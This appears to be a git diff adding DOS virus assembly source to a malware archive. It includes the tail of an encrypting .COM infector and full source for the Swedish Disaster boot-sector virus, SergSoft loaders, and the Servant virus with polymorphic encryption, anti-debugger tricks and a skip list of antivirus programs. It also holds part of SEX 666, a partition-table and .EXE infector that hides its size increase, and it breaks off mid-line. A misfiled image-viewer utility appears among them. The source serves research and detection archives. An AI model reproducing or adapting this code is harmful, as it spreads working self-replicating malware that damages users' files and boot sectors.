mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +fake_msg db "Eddy lives somewhere in time!!! Psyche!$" +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.sd-swe.asm b/MSDOS/Virus.MSDOS.Unknown.sd-swe.asm new file mode 100644 index 00000000..10cef8b1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sd-swe.asm @@ -0,0 +1,260 @@ +; Senast ndrad 891213. +; +; Lgger gamla bootsectorn p sida 1, spr 0, sector 3. +; sida 0, spr 0, sector 7 p HD. + + +Code Segment + Assume cs:Code + Org 0000h + +Main Proc Far + db 0EAh,05h,00h,0C0h,07h + + jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h + + +; Variabler + +Old13h dd 0 ; Gamla vectorn till diskfunktionerna. + +TmpVec dd 0 ; Temporr vec. vid ndring av int 13. + +BootPek dw 0003h,0100h + +; Slut p variabler + + + +Int13h Proc Near + push ds + push ax + push bx + + cmp dl,00h ; Drive A + jne Exit + + cmp ah,02h + jb Exit + cmp ah,04h + ja Exit ; Kolla s att func. 2-4 + + sub ax,ax + mov ds,ax + mov bx,043Fh ; Motor status byte. + test Byte Ptr [bx],01h ; Testa om motorn i A: r p.. + jnz Exit ; Nej,hoppa till gamla int 13h + + call Smitta + +Exit: pop bx + pop ax + pop ds + jmp [Old13h] + + +Smitta Proc Near + push cx + push dx + push si + push di + push es + + push cs + pop es + push cs + pop ds + + mov si,0004h ; Max antal frsk. + +Retry: mov ax,0201h ; Ls en sector + mov bx,0200h ; Ls hit. + mov cx,0001h ; Spr 0 Sector 1 + sub dx,dx ; Sida 0 Drive 0 + pushf + call [Old13h] ; Ls in booten. + + jnc OK + + dec si + jz Slut ; Hoppa ur om fel. + jmp Retry ; Frsk max 4 gnger. + + +OK: mov si,0200h + sub di,di + cld + lodsw + cmp ax,[di] + jne L2 + lodsw + cmp ax,[di+2] + jne L2 + jmp Slut + +L2: mov ax,0301h ; Skriv en sector. + mov bx,0200h + mov cx,0003h ; Spr 0 Sector 3 + mov dx,0100h ; Sida 1 Drive 0 + pushf + call [Old13h] ; Flytta boot sectorn. + + mov ax,0301h + sub bx,bx + mov cx,0001h + sub dx,dx + pushf + call [Old13h] ; Skriv ner viruset till booten. + +Slut: pop es + pop di + pop si + pop dx + pop cx + ret +Smitta Endp +Int13h Endp + +Init: sub ax,ax + mov ds,ax ; Nollar ds fr att ndra vect. + + cli + mov ss,ax + mov sp,7C00h + sti ; Stter upp en ny stack. + + push cs + pop es + mov di,Offset Old13h + mov si,004Ch + mov cx,0004h + cld + rep movsb ; Flytta int 13h vectorn. + + mov bx,0413h + mov ax,[bx] ; Minnesstorleken till ax. + dec ax + dec ax + mov [bx],ax ; Reservera plats fr viruset. + + mov cl,06h + shl ax,cl + mov es,ax ; Omvandla till segment addres. + + mov Word Ptr TmpVec,Offset Int13h + mov Word Ptr TmpVec+2,es + push es + sub ax,ax + mov es,ax + push cs + pop ds + mov si,Offset TmpVec + mov di,004Ch + mov cx,0004h + rep movsb + pop es + + sub si,si + mov di,si + mov cx,0200h ; Hela viruset + lite till. + rep movsb + + mov ax,Offset Here + push es + push ax + ret ; Hoppa till viruset. + +Here: sub ax,ax + int 13h ; terstll driven + + sub ax,ax + mov es,ax + mov ax,0201h ; Ls en sector funk. + mov bx,7C00h ; Hit laddas booten normalt. + mov cx,BootPek + mov dx,BootPek+2 + int 13h + + push cs + pop es + mov ax,0201h + mov bx,0200h + mov cx,0001h + mov dx,0080h + int 13h ; Ls in partions tabellen. + jc Over + push cs + pop ds + mov si,0200h + sub di,di + lodsw + cmp ax,[di] ; Kolla om den r smittad. + jne HdInf + lodsw + cmp ax,[di+2] + jne HdInf + +Over: mov BootPek,0003h + mov BootPek+2,0100h + sub bx,bx + push bx + mov bx,7C00h + push bx + ret ; Kr den gamla booten. + +HdInf: mov BootPek,0007h + mov BootPek+2,0080h + + mov ax,0301h + mov bx,0200h + mov cx,0007h + mov dx,0080h + int 13h ; Flytta orgin. part.tabellen. + jc Over + + push cs + pop ds + push cs + pop es + mov si,03BEh + mov di,01BEh + mov cx,0042h + cld + rep movsb ; Kopiera part. data till viruset. + + mov ax,0301h + sub bx,bx + mov cx,0001h + mov dx,0080h + int 13h ; Skriv viruset till part. tabellen. + + + sub ax,ax + mov es,ax ; Kolla om msg:et ska skrivas ut. + test Byte Ptr es:[046Ch],07h + jnz HdInf1 + + mov si,Offset Txt ; Detta utfrs bara om man bootar frn + cld ; diskett. +Foo1: lodsb + cmp al,00h + je HdInf1 + mov ah,0Eh + sub bx,bx + int 10h + jmp Foo1 + +HdInf1: jmp Over + + +Slutet Label Byte ; Anvnds fr att veta var slutet r. + + +Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h + + +Main Endp +Code Ends + End + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sd.asm b/MSDOS/Virus.MSDOS.Unknown.sd.asm new file mode 100644 index 00000000..764be20d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sd.asm @@ -0,0 +1,238 @@ +; +----------------------------------------------------+ ; +; | Sample DVM Shower for use with the Magic Assembler | ; +; +----------------------------------------------------+ ; + mov ah,09 + mov dx,offset(headtxt) + int 21 + cmp byte [0081],0d + jne @1 + mov dx,offset(syntax) + jmp error +@1 mov si,0082 + mov showit,00 +@4 lodsb + cmp al,'/' + jne @5 + mov byte [si-01],00 + lodsb + cmp al,'i' + jne @6 + mov showit,ff + jmps @5 +@6 cmp al,'I' + jne @5 + mov showit,ff +@5 cmp al,0d + jne @4 + mov byte [si-01],00 + mov ax,3d00 + mov dx,0082 + int 21 + jnc @7 + mov dx,offset(openerr) + jmp error +@7 mov handle,ax + mov bx,ax + mov ah,3f + mov cx,0003 + mov dx,offset(header) + int 21 + mov si,offset(header) + mov di,offset(musthd) + mov cx,0003 +@8 cmpsb + jne @9 + loop @8 + jmps @10 +@9 mov dx,offset(notdvm) + jmp error +@10 mov ah,3f + mov cx,0001 + mov dx,offset(fullqrt) + int 21 + cmp fullqrt,'V' + je @11 + cmp fullqrt,'Q' + je @12 + mov infobyt,a0 + jmps @13 +@12 mov infobyt,20 + jmps @13 +@11 mov ah,3f + mov dx,offset(version) + int 21 + cmp version,31 + jna @14 + mov dx,offset(verr) + jmp error +@14 mov ah,3f + mov dx,offset(infobyt) + int 21 +@13 mov ah,3f + mov cx,0002 + mov dx,offset(dtime) + int 21 + test infobyt,08 + jz @15 + mov ah,3f + mov dx,offset(l) + int 21 + mov cx,l +@16 push cx + mov ah,3f + mov cx,0001 + mov dx,offset(ch) + int 21 + push bx + mov ah,0e + mov al,ch + xor bh,bh + cmp showit,ff + je @17 + int 10 +@17 pop bx + pop cx + loop @16 + xor ah,ah + cmp showit,ff + jne @15 + int 16 +@15 mov ax,0013 + int 10 + push bx + mov ax,1012 + mov bx,0000 + mov cx,0100 + mov dx,offset(palette) + int 10 + pop bx + mov ax,a000 + mov es,ax +@28 test infobyt,20 + jz @32 + mov ah,3f + mov dx,offset(palette) + test infobyt,10 + jnz @33 + mov cx,0030 + jmps @34 +@33 mov cx,0300 +@34 int 21 + cmp ax,cx + jne @27 + push bx + push es + mov ax,ds + mov es,ax + mov ax,1012 + xor bx,bx + test infobyt,10 + jnz @35 + mov cx,0010 + jmps @36 +@35 mov cx,0100 +@36 int 10 + pop es + pop bx +@32 xor di,di + test infobyt,80 + jz @18 + mov cx,00c8 + jmps @19 +@18 mov cx,0064 +@19 push cx + test infobyt,40 + jz @20 + call showcpr + jmps @21 +@20 call showucp +@21 cmp ah,00 + ja @27 + test infobyt,80 + jnz @22 + add di,00a0 +@22 pop cx + loop @19 + jmps @28 +@27 mov ah,3e + mov bx,handle + int 21 + xor ah,ah + int 16 + mov ax,0003 + int 10 + mov ax,4c00 + int 21 + +showcpr test infobyt,80 + jz @23 + mov cx,00a0 + jmps @24 +@23 mov cx,0050 +@24 mov ah,3f + mov dx,offset(line) + int 21 + cmp ax,cx + je @26 + mov ah,ff + ret +@26 mov si,offset(line) +@25 push cx + lodsb + push ax + and al,f0 + mov cl,04 + shr al,cl + es: + mov [di],al + pop ax + and al,0f + es: + mov [di+01],al + add di,0002 + pop cx + loop @25 + xor ah,ah + ret + +showucp test infobyt,80 + jz @31 + mov cx,0140 + jmps @29 +@31 mov cx,00a0 +@29 mov ah,3f + mov dx,offset(line) + int 21 + mov si,offset(line) + cmp cx,ax + je @30 + mov ah,ff + ret +@30 movsb + loop @30 + xor ah,ah + ret + +error mov ah,09 + int 21 + mov ax,4c00 + int 21 + +headtxt db 'Show DVM - Written by Bert for Magic Software - Development Kit Version' 0a 0d '$' +musthd db 'DVM' +notdvm db 'Not a DVM' 0a 0d '$' +openerr db 'Cannot open file' 0a 0d '$' +palette dbe DVMPAL.BIN +syntax db 'Syntax: SDA [Filename.DVM][/I]' 0a 0d '/I shows included text (if exist)' 0a 0d '$' +verr db 'Cannot display this version' 0a 0d '$' +- +ch db ? +dtime dw ? +fullqrt db ? +handle dw ? +header ds 3 +infobyt db ? +l dw ? +line ds 140 +showit db ? +version db ? diff --git a/MSDOS/Virus.MSDOS.Unknown.serg114.asm b/MSDOS/Virus.MSDOS.Unknown.serg114.asm new file mode 100644 index 00000000..9e456675 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.serg114.asm @@ -0,0 +1,85 @@ +.286 +.model tiny +.radix 16 +.code +a equ 0B8 + org 100 +e: dec bp + push si + push cs + push cs + scasw + mov al,27 + mov bl,14 + mov es,ax + pusha + cmpsw + popa + mov cl,l-e + rep movsb ;es:di = 2E:l-e ds:si = CS:l-e+100 + mov ds,cx + jz f + push ax + xchg [bx+di],ax + stosw + pop ax + xchg [bx+di],ax + stosw +f: pop ds + lodsw + xchg ax,cx + pop es + pop di + rep movsb + jmp e +h: pusha + ;cld + push ds + push es + xor ah,4bh + jnz j ;if not 'exec' + mov ax,3D02 ;open file + int a + jc j ;if not found + xchg bx,ax ;bx = handler + mov ch,0A0 + mov ds,cx ;8C??:2 buffer + push ds + pop es + mov ch,0FA ;all bytes + xor di,di + mov dx,2 + mov ah,3F + int a ;read all bytes + stosw + cmp byte ptr [di],4dh + jz i + add ax,dx + push ax + mov ax,4200 + cwd + mov cx,dx + int a + mov ah,40 + push cs + pop ds ;ds = 31 + mov cl,l-e + int a ;write virus code + mov ah,40 + push es + pop ds + pop cx + int a +i: mov ah,3E + int a +j: pop es + pop ds + popa +r: db 0EA +l: dw 30 +d: mov dx,c-d+100 + mov ah,09 + int 21h + ret +c: db ' Virus loader by SergSoft (c)1991',0D,0A,24 +end e diff --git a/MSDOS/Virus.MSDOS.Unknown.sergant.asm b/MSDOS/Virus.MSDOS.Unknown.sergant.asm new file mode 100644 index 00000000..e8920252 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sergant.asm @@ -0,0 +1,88 @@ +.286 +.model tiny +.radix 16 +.code +a equ 0D6 + org 100 +e: dec bp + push cs + push si + push cs + mov al,2E + push ax + mov es,ax + xor di,di + mov cl,l-e + rep movsb ;es:di = 2F:l-e ds:si = CS:l-e+100 + push n-e + retf +n: push si + mov si,84 + mov ds,cx + cmp [si],ax + jz f + movsw + mov [si-2],ax + xchg [si],ax + stosw +f: pop si + pop es ;es = CS + push es + pop ds ;ds = CS + lodsw + xchg cx,ax + pop di + push di + rep movsb ;es:di = CS:100 + retf +h: pusha + push ds + push es + xor ah,4bh + jnz j ;if not 'exec' + mov ax,3D02 ;open file + int a + jc j ;if not found + xchg bx,ax ;bx = handler + mov ch,8C + mov ds,cx ;8C??:2 buffer + push ds + pop es + mov ch,0FA ;all bytes + xor di,di + mov dx,2 + mov ah,3F + int a ;read all bytes + cld + stosw + cmp byte ptr [di],4dh + jz i + add ax,dx + push ax + mov ax,4200 + cwd + mov cx,dx + int a + mov ah,40 + push cs + pop ds ;ds = 31 + mov cl,l-e + int a ;write virus code + mov ah,40 + push es + pop ds + pop cx + int a +i: mov ah,3E + int a +j: pop es + pop ds + popa +r: db 0EA +l: dw 30 +d: mov dx,c-d+100 + mov ah,09 + int 21h + ret +c: db ' Virus loader by SergSoft (c)1991',0D,0A,24 +end e diff --git a/MSDOS/Virus.MSDOS.Unknown.servant.asm b/MSDOS/Virus.MSDOS.Unknown.servant.asm new file mode 100644 index 00000000..da51e9bb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.servant.asm @@ -0,0 +1,294 @@ +; +; Servant Virus by John Tardy / TridenT +; +; Virus Name: Servant +; Aliases: +; V Status: Released +; Discovery: Not (yet) +; Symptoms: .COM growth, message on Novell File server +; Origin: The Netherlands +; Eff Length: 444 Bytes +; Type Code: PNC - Parasitic Non-Resident .COM Infector +; Detection Method: +; Removal Instructions: Delete infected files +; +; General Comments: +; The Servant virus is not yet submitted to any antiviral authority. It +; is from The Netherlands. Servant is a non-resident infector of .COM +; files, but a program name beginning with CA, VA, GU, CO, 4D, VS or +; TB will not be infected. Servant infected programs will have a file +; length increase of 444 Bytes. The virus will be located at the end +; of the infected file. There will be no change in the file's date and +; time in a DOS directory listing. + +Version Equ 1 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ah,B Ds:[046ch] ; + + Mov Ds,Cs ; If Ah is not zero, goto + Cmp Ah,0 ; GenKey. + Jne GenKey ; + + Lea Si,NovMsg[Bp] ; This function will send a + Lea Di,EndOfVir[Bp] ; message to the Novell + Mov Ah,0e1h ; Server CONSOLE!!! + Int 21h ; + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Xor B Decrypt[Bp],2 ; Make the Xor variable. + + Test Ah,4 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Xchg Ah,Al ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +NovMsg Dw FuncLen ; The Novell packet to +Func Db 09h ; send. This sends my name + Db MsgLen ; to the fileserver, making +Msg Db 'John Tardy / TridenT' ; the supervisor hysterical! +MsgLen Equ $-Msg ; +FuncLen Equ $-Func ; + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.sex666.asm b/MSDOS/Virus.MSDOS.Unknown.sex666.asm new file mode 100644 index 00000000..4cdbfad3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sex666.asm @@ -0,0 +1,1069 @@ +;------------------------------------------------------------------------------ +; +; Virus Name: SEX 666 +; Origin: Holland +; Eff Length: 2,048 bytes +; Type Code: PRhE - Parasitic Resident .EXE Infector +; +; General Comments: +; When the first program with SEX 666 is executed, SEX 666 will infect +; this partition table the first harddisk and install itself resident +; at the top of system memory, but below the 640k DOS boundary. Free +; memory as indicated by the DOS CHKDSK program, will decrease by 4112 +; bytes. Interrupt 21h will be hooked by the virus. +; +; This first time the computer is booted from the first harddisk SEX 666 +; will install itself resident above TOM but below the 640k DOS boundary. +; Total system memory as indicated by the DOS CHKDSK program, will +; decrease by 4096 bytes. +; +; After SEX 666 is resident, it will infect .EXE programs that are +; created with dos function 3ch or 5bh. Infected programs will increase +; in size by 2048 bytes, though the increase in file length will be +; hidden if SEX 666 is resident. The program's time will indicate 62 +; seconds, but this will be hidden if the virus is resident. +; +;------------------------------------------------------------------------------ +; +; Interrupt vectors +; +;------------------------------------------------------------------------------ + +iseg segment at 0 + org 1ch*4 + +Int1Co dw 0 ; interrupt vector 21h +Int1Cs dw 0 + + org 21h*4 + +Int21o dw 0 ; interrupt vector 21h +Int21s dw 0 + +iseg ends + +;------------------------------------------------------------------------------ +; +; Constants +; +;------------------------------------------------------------------------------ + +VirusSize equ 800h ; size of virus +BootSize equ 2bh + +;------------------------------------------------------------------------------ +; +; Macros +; +;------------------------------------------------------------------------------ + +je_n macro dest ; je >128 bytes + local ok + jne ok + jmp dest +ok: + endm + +jne_n macro dest ; jne >128 bytes + local ok + je ok + jmp dest +ok: + endm + +dbw macro _byte1,_byte2,_word + db _byte1,_byte2 + dw offset _word + endm + +cseg segment public 'code' + assume cs:cseg,ds:cseg,es:cseg + +;------------------------------------------------------------------------------ +; +; Header of EXE-file +; +;------------------------------------------------------------------------------ + +Header equ $ + +Signature dw 5a4dh ; signature 'MZ' +PartPage dw 0 ; size of partitial page +PageCount dw 8 ; number of pages +ReloCount dw 0 ; number of relocation items +HeaderSize dw 2 ; size of header +MinMem dw 40h ; minimum memory needed +MaxMem dw 40h ; maximum memory needed +ExeSS dw 0 ; initial SS +ExeSP dw VirusSize ; initial SP +CheckSum dw 0 ; unused ??? +ExeEntry equ this dword ; initial entry point +ExeIP dw offset Start ; initial IP +ExeCS dw 0 ; initial CS +ReloOffset dw 1ch ; offset of relocationtable +OverlayNr dw 0 ; number of overlay + +CryptOfs equ OverlayNr ; offset Crypt + org BootSize + +;------------------------------------------------------------------------------ +; +; Bootsector startup +; +;------------------------------------------------------------------------------ + +Bootsector: + cli + xor bx,bx + mov ds,bx + mov ss,bx + mov sp,7c00h + sti + mov ax,ds:[413h] + sub ax,(VirusSize/400h) + mov ds:[413h],ax + mov cl,6 + shl ax,cl + mov es,ax + mov ax,201h+(VirusSize/200h) + mov cx,2 + mov dx,80h + int 13h + mov bx,offset StartUp + push es + push bx + retf + +StartUp:cli + mov ax,offset Interrupt1C + xchg ax,ds:Int1Co + mov cs:OldInt1Co,ax + mov ax,cs + xchg ax,ds:Int1Cs + mov cs:OldInt1Cs,ax + mov cs:Count,182 + sti + push ds + pop es + push cs + pop ds + mov si,offset Header + mov di,7c00h + mov cx,BootSize + cld + rep movsb + mov bx,7c00h + push es + push bx + retf + +Interrupt1C: + dec cs:Count + jne Old1C + push ds + push ax + cli + xor ax,ax + mov ds,ax + mov ax,cs:OldInt1Co + mov ds:Int1Co,ax + mov ax,cs:OldInt1Cs + mov ds:Int1Cs,ax + mov ax,offset Interrupt21 + xchg ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,cs + xchg ax,ds:Int21s + mov cs:OldInt21s,ax + mov cs:Handle1,0 + mov cs:Handle2,0 + sti + pop ax + pop ds +Old1C: jmp cs:OldInt1C + +;------------------------------------------------------------------------------ +; +; Manipilated functions +; +;------------------------------------------------------------------------------ + +Functions db 11h ; 1 + dw offset FindFCB + db 12h ; 2 + dw offset FindFCB + db 30h ; 3 + dw offset Version + db 3ch ; 4 + dw offset Create + db 3dh ; 5 + dw offset Open + db 3eh ; 6 + dw offset Close + db 42h ; 7 + dw offset Seek + db 4bh ; 8 + dw offset Exec + db 4eh ; 9 + dw offset Find + db 4fh ; a + dw offset Find + db 5bh ; b + dw offset Create + db 6ch ; c + dw offset OpenCreate + +FunctionCount equ 0ch + +;------------------------------------------------------------------------------ +; +; String data +; +;------------------------------------------------------------------------------ + +MemoryMsg db 'Insufficient memory',13,10,'$' + +ChkDsk db 'CHKDSK' + +;------------------------------------------------------------------------------ +; +; Procedure to infect an EXE-file +; At the top of the EXE-file must be space to put the virus. +; +;------------------------------------------------------------------------------ + +Infect: push ax ; save registers + push bx + push cx + push dx + push ds + push cs ; ds=cs + pop ds + mov ax,4200h ; position read/write pointer + xor cx,cx ; at the end of the virus + mov dx,VirusSize + call DOS + call ReadHeader ; read orginal exe-header + add PageCount,VirusSize/200h ; adjust header for virus + mov ReloCount,0 + mov HeaderSize,0 + add MinMem,(10h+VirusSize)/10h + add MaxMem,(10h+VirusSize)/10h + jnc MaxOk + mov MaxMem,0ffffh +MaxOk: add ExeSS,VirusSize/10h + mov ExeIP,offset Main + mov ExeCS,0 + mov ax,4200h ; position read/write pointer + xor cx,cx ; at the top of the virus + xor dx,dx + call DOS + call WriteHeader ; write header at the top of + jc InfErr + mov ax,5700h ; the virus + call DOS + mov ax,5701h + or cl,1fh + call DOS +InfErr: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + ret ; return + +;------------------------------------------------------------------------------ +; +; The orginal interrupt 21h is redirected to this procedure +; +;------------------------------------------------------------------------------ + +FindFCB:call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + pushf ; save registers + push ax + push bx + push es + mov ah,2fh ; get DTA + call DOS + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],VirusSize ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call DOS + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize ; change file-size + sbb word ptr 